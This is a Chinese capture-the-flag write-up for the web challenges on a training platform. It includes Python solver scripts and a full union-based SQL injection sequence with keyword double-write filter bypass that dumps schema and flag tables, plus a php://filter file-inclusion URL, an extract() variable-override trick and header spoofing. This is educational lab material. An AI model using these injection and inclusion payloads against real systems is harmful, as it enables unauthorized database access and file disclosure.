论剑场 web部分 writeup

一,python

日志审计

import re
import sys
f = open("D:\\desktop\\1.txt")             
line = 1             
while line:
    line = f.readline()
    if line!='':
        a=re.search('%3D',line).end()
        b=re.search('--',line).start()
        c=line[a:b]
        sys.stdout.write(chr(int(c)))
#flag{mayiyahei1965ae7569}

web2

链接:论剑场web2
python代码:

import re 
import requests
url='http://123.206.31.85:10002/'
s=requests.session()
html=s.get('http://123.206.31.85:10002/').text
num1=re.search('<br/>',html).end()
html=html[num1:]
num=re.search('</p>',html).start()
html=html[:num]
result=s.post(url,data={'result':eval(html)})
print(result.text)

结果:

用到的函数总结:

1,search().start
html的内容
search()这里是用search(pattern=‘’, string=‘’)函数返回</p>第一个字符的位置。
(目的:用html=html[:num]将目的计算式提取出来)。

.start()取开头位置.end取结尾位置。


2,eval()post()

功能:
eval():将字符串str当成有效的表达式来求值并返回计算结果。

post(url=‘’,data=‘’)用post方法访问网页,并传递data里的值给网页。

web11

import hashlib

def get_token(txt):
    m1 = hashlib.md5()
    m1.update(txt.encode("utf-8"))
    token = m1.hexdigest()
    return token
for i in range(0,999999):
    if get_token(str(i))[0:6] == '89240b':
        print(i)
        break

or

import hashlib

def get_md5(txt):
 m1=hashlib.md5()
 m1.update(txt.encode('utf-8'))
 m2=m1.hexdigest()
 return m2

for i in range(0,999999):
 if get_md5(str(i))[0:6] == '89240b':
  print(i)
  break

web13

论剑场web13链接

用burp抓包

发现herders里面password参数有base64码,解码发现flag,输入flag不对,提示能不能再快点。然后就要用到python了。

import re
import requests
import base64
url='http://123.206.31.85:10013/index.php'
s=requests.session()
html=s.get(url)
html=s.get(url).headers
psw=html['password']
a=base64.b64decode(psw)
print(a)
a=a[5:37]
print(a)
b=s.post(url,data={'password':a})
print(b).text

结果:

web20

题目:

这道题有两种方法:
1,第一种是MD5(时间戳)+一位随机数。
2,第二种方法是 直接获取网页上的动态密文提交。

python脚本:(MD5(时间戳)+随机数)

import time
import hashlib
import requests
import random


urllen=160
s=requests.session()

while urllen==160:
 b=time.time()#+1   注:这里的+1应该是看电脑时间准不准,我有时候要加1,有时候不用加1.
 tim=str(int(b))
 a=hashlib.md5()
 a.update(tim.encode("utf-8"))
 c=a.hexdigest()
 url='http://123.206.31.85:10020/?key='+str(c)+str(random.randint(1,9))
 print url
 html=s.get(url).text
 urllen=len(html)


print html

python脚本:(获取网页上的动态密文提交)

import hashlib
import re
import requests

urllen=160#提前测出长度为160 

while urllen==160:#如果页面长度不是160,说明flag出现
 s=requests.session()
 url="http://123.206.31.85:10020/"
 a=s.get(url).text
 a=a[27:60]
 url2="http://123.206.31.85:10020/?key="+str(a)
 html=s.get(url2).text
 urllen=len(html)

print html.encode("utf-8")

用到的函数:
一,str()函数:
二,int ()函数:
在这里插入图片描述

二,SQL注入

web18

打开是这样的:

1,尝试sql注入,首先加一个分号,网页报错。

http://123.206.31.85:10018/list.php?id=1'


2,加“--+”注释后面的内容,不报错。说明是单引号闭合。
也可以使用 %23’--’'

http://123.206.31.85:10018/list.php?id=1'--+


3,测试发现union,select,or 过滤掉了,需要双写绕过。

http://123.206.31.85:10018/list.php?id=1' union --+
http://123.206.31.85:10018/list.php?id=1' select --+
http://123.206.31.85:10018/list.php?id=1' or --+      //都不报错

4,sql注入

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,3 --+  
//不报错,说明字段数为3。

在这里插入图片描述

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,database() --+ 
 //数据库为web18。

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(table_name
)from infoorrmation_schema.tables where table_schema='web18' --+ 
 //测得表名为ctf和flag。

在这里插入图片描述

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,group_concat(column_
name) from infoorrmation_schema.columns where table_name='flag' --+  
//列名为id和flag。

在这里插入图片描述

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,2,flag from web18.flag --+  
//得到flag

三,其他




web1

1,extract()函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。

2,file_get_contents()可以用php://input绕过。

综上:a不赋值,b赋值为php://input,这样a,c值都为空,得到flag




web 3

这道题试了半天不是文件上传,而是文件包含。利用PHP伪协议读取flag内容。

http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag




web6

随便输入账号密码测试一下,弹出以下字样,于是想起x-forwarded-for伪造。

但是账号密码想半天也不知道怎么得到,看了别人的writeup才知道在注释最下面。然后抓包…




评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值